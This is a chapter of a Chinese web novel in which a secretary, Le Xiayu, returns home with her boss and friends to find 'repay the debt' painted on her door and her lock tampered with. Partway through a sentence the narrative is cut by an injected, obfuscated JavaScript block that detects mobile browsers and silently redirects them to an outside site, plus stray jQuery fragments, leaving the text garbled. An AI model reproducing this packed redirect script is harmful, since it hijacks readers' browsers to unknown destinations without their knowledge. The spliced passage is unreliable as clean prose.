乐夏予擦了擦脑门上的汗,尴尬地走在旧小区狭窄又昏暗的楼梯上,身后跟着三个穿着价格不菲、与老旧楼房格格不入的贵客。
她住在五楼,没有电梯。在狭长的楼梯上不停回折向上,低着头只顾着走能转出眩晕感。一侧的墙面碰一下能沾一手墙灰,再用力些墙皮就能哗啦啦掉下一大片。
这边的旧楼房一层只有两户,入户门就在楼梯口,两户人家一左一右,门口斜斜相对着。隔音效果很差,耳朵尖又有心留意的人可以准确掌握对门邻居家的所有作息动线。
正如此时乐夏予的脚步还没踏上五楼的平台,单凭脚步声邻居就能认出她来,门还没打开就听见里面一声高喊:“小乐下班回来啦?”之后就是一阵渐近的脚步声,邻居家的大门被打开一半,里面钻出一个约莫六十出头岁的妇女。
乐夏予的对门邻居是一对退休夫妻,只有一个女儿外嫁不在身边,或许是觉得乐夏予和女儿年纪相仿,平日里对乐夏予很是照顾。
乐夏予走快两步上了五楼,和邻居阿姨打了声招呼:“嗯,阿姨,我刚下班。”
邻居阿姨想接着说点什么,但还没说就看见紧随乐夏予身后又上来三个年轻人,两男一女,衣鲜亮丽。
“这三位是……小乐,你朋友啊?”
“啊……”乐夏予迟疑了一下,扭头看了一眼胡其盈。
乐夏予只是觉得这三个人里,一个是老板,一个是老板死对头,真正可以被称为朋友的或许只有胡其盈一个,正犹豫着该怎么说。
但胡其盈却错把乐夏予看过来的一眼当作是让她代为回答的信号,所以抢先了乐夏予一步点头回答:“是的,我是乐小姐的朋友。”
胡其盈只回答了自己和乐夏予的关系,但话说到这里了,为了避免麻烦乐夏予也只能顺势将另外两个人也认下来:“是,都是朋友。”
好在另外两人对此说法也没有提出任何异议,只是都在看着这一层楼另一户人家——也就是乐夏予家的大门。
朴素厚实的木门略微有些掉漆,还在使用钥匙门锁。过年时新换的对联颜色还鲜艳着,牢牢贴在门框外的墙面上。上联写着“平安富贵财源进”,下联写着“幸福安康运气来”,横批“吉祥如意”。看起来应该是年节时在路边小摊贩买的统一印刷制式。
但这些都不是重点。
在掉了漆的旧木门上有着用比春联的颜色还要鲜艳的红油漆写着歪歪扭扭的四个大字“欠债还钱”。
乐夏予也看见了。她呆愣着,指尖又开始微微发颤,但很快就被她攥成拳握起,脸上的神色也恢复了平静。
邻居阿姨拉过乐夏予的手,关切地看着她,压低了声音:“我刚刚就是想跟你说这个的。下午我出门的时候看见有三四个男人过来在门上乱涂乱画,穿得就是不三不四的小混混模样,我都不敢出声。小乐,你是不是惹上什么麻烦了?”
“不用担心,阿姨。”乐夏予的脸上还能露出安抚的笑容来,“我会处理好,不会影响到大家正常生活的。”
“我们都知道你是好孩子,不会在外面乱来。”邻居阿姨皱起眉头,比起其他的更担心乐夏予的安危,“你要报警啊。你一个小姑娘自己住,遇到这种事情太不安全了。”
乐夏予心里一暖,轻轻拍了拍邻居阿姨的手,轻声道:“我知道,谢谢阿姨。我会注意安全的,放心吧。”
“是啊阿姨。”曲南飞走过来站在乐夏予身边,“您别担心,我们是……夏予的朋友,也会帮她的。”
曲南飞身高腿长,平日里还有健身的习惯,站在空间十分有限的楼梯口就像一堵墙,确实很有安全感。不知是被曲南飞带来的安全感震慑住了,还是被乐夏予和曲南飞联手花言巧语哄住了,爱操心的邻居阿姨终于不再絮叨,只是临关上门前还是不大放心地看了乐夏予一眼。
乐夏予和曲南飞对视一眼,有些无奈地摇摇头。
而在这两人和邻居阿姨说话的时候,另一边的施行易凑近了看大门的锁孔,等那边的聊天结束了才招呼了一声:“门锁上有划痕,被撬过。”
划痕?
胡其盈又确认了一遍讨债行动时刻表,这三天的安排都没有撬门这一项。趁着那边三个人注意力都放在门锁上,胡其盈给借贷公司的经理人发了一条消息确认。
经理人回得很快:“我们安排上门的讨债人都是找的演员,没有要求的事他们没做。但乐峰海那边还有好几个债主在讨债,恐怕是乐小姐的住址被他一起同步透露了。”
“老板,那边的讨债人都不是善茬,看你之前的要求应该是不希望乐小姐有实质性的危险,那我建议最好先报警,尽快搬家。”
和经理人发来的消息透露出紧迫感不同,乐夏予对着负伤累累的大门异常冷静,甚至还有心思说客套话:“抱歉,麻烦三位特意送我回家,本来应该请你们进来喝杯水,但看起来情况好像有点不允许……”
曲南飞突然叹了一口气,抬起手表看了一眼时间,没头没尾地问了胡其盈一句:“饿了吗?”
现在早就超过了胡其盈平时的晚饭时间,在乐夏予家楼下的时候身体就出现了空腹感反应,只是血糖还维持在正常值范围内,所以胡其盈一直没有提出摄入食物的要求。
但既然曲南飞发问了,胡其盈就会如实回答:“是的。”
曲南飞转头看向施行易,对他说:“你带其盈去吃饭吧,现在有点晚了,吃完饭送她回去,要不然胡叔会担心。”
听见他的安排,施行易掀起眼皮瞥了曲南飞一眼,然后又看了看有点疑惑的乐夏予,难得没和曲南飞唱两句反调,爽快地应下了:“行。”
胡其盈只是站在一旁就突然被安排好了接下来的行程,但因为今天的预定行程里没有和后续安排冲突的地方,而且从身体体征来看确实到了该进食的程度了,所以她并没有提出反对。
但临走前还是回头看了看乐夏予,回想起昨天曲南飞说对朋友要多加关心的话,胡其盈采纳了经理人的建议,向乐夏予认真道:“基于目前的状况,我建议尽快联系公安机关。考虑到可持续的安全防护,或许有必要临时调整居住地点。如果有任何需要,请随时联系我。”
施行易也点头,补充道:“需要时间处理的话公司可以批假,算特殊情况,不扣全勤。”
乐夏予一一应下谢过,目送着两人拐过楼梯消失了身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724090|173972||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
影,然后才看向没有跟着一起离开的曲南飞,疑惑道:“曲总,你不一起去吃饭吗?”
曲南飞却忽略了她的问题,边垂眸摘下手表揣进口袋边问:“家里有酒精吗?”
“酒精?”乐夏予一愣,不知道曲南飞这么一问的用意,但还是先点头回答了,“倒是有……”
“那麻烦你拿出来了。”
曲南飞收起手表之后又开始卷起衬衫袖子。夏天快到了,天气渐热,下车时他把西装外套留在了车上,也省得现在还要找地方安置外套了。
乐夏予看不懂他的要求和行为,懵懵地追问:“这是要……做什么?”
曲南飞点了点用红油漆写着字的大门,一脸理所当然:“得擦掉吧,房东看到应该会不大乐意。”
“是,但是……”
“刚刚还在那位阿姨面前说了是朋友会帮你,我也不好马上就食言吧?”曲南飞笑了笑,见乐夏予还想反驳什么,又加上了新的筹码,“我已经点了晚饭的外卖送到这里,等待的时候我喜欢找点事情做,就当做满足我的特殊爱好啦?”
曲南飞总是很擅长让别人无法拒绝他的请求。
“……谢谢。”乐夏予再次败给了曲南飞的好意,或者说,如果有一个人执着的非要向你提供帮助,还每一次都贴心找好了借口维护你的自尊心、减轻你的心理负担,那么在这个世界几乎不会有人还能对他说出拒绝。
乐夏予掏出钥匙打开门,顿了一下侧过身示意曲南飞进门:“先进来坐一会儿吧,我得找找酒精在哪儿。”
-
胡其盈跟在施行易身后下楼,出了小区门朝停车的地方走去的时候就听见施行易在前面问她:“你昨天是和曲南飞一起撞见乐秘书被催债的人纠缠了?”
就算完全不了解乐夏予的私事,但在看到门上的红油漆之后也大概能猜出来一些。但施行易的猜测并不完全对,这使得胡其盈无法笼统地给予肯定的回答,可是如果要对他的猜测进行纠正,这又涉及到乐夏予的个人隐私,不能随意透露。
所以胡其盈只是沉默着。
没有听见身后的声音,施行易放缓了脚步和胡其盈并排,侧头看她:“我没说对?”
胡其盈没有点头也没有摇头。
施行易根据她的反应调整了一下答案:“那就是对了一半。不是被催债的人纠缠,而是她的……家人之类的?欠债的其实是乐秘书的家人?”
施行易颇为信赖下属的品性,毕竟乐夏予是经过正规招聘流程进入的公司,作为总裁秘书和他的另外两位得力下属共事了有一段时间。如果从他,到张特助和许秘书,再到负责招聘的人事部门都如此一致的看走了眼,那施氏还是趁早倒闭算了。
上门催债的手法一看就不是什么正规的借贷公司会使用的手段,如果乐夏予本人没有什么会导致欠外债的不良嗜好,那么能将债务转移到乐夏予头上,并且不会第一时间报警的就只可能是乐夏予非常亲近的人了。
胡其盈这下可以点头了。
“所以,”施行易在车前停下,转过身来面对着胡其盈,微微低头看着她,“你今天非要我来就是想让我知道这些,是想做什么?”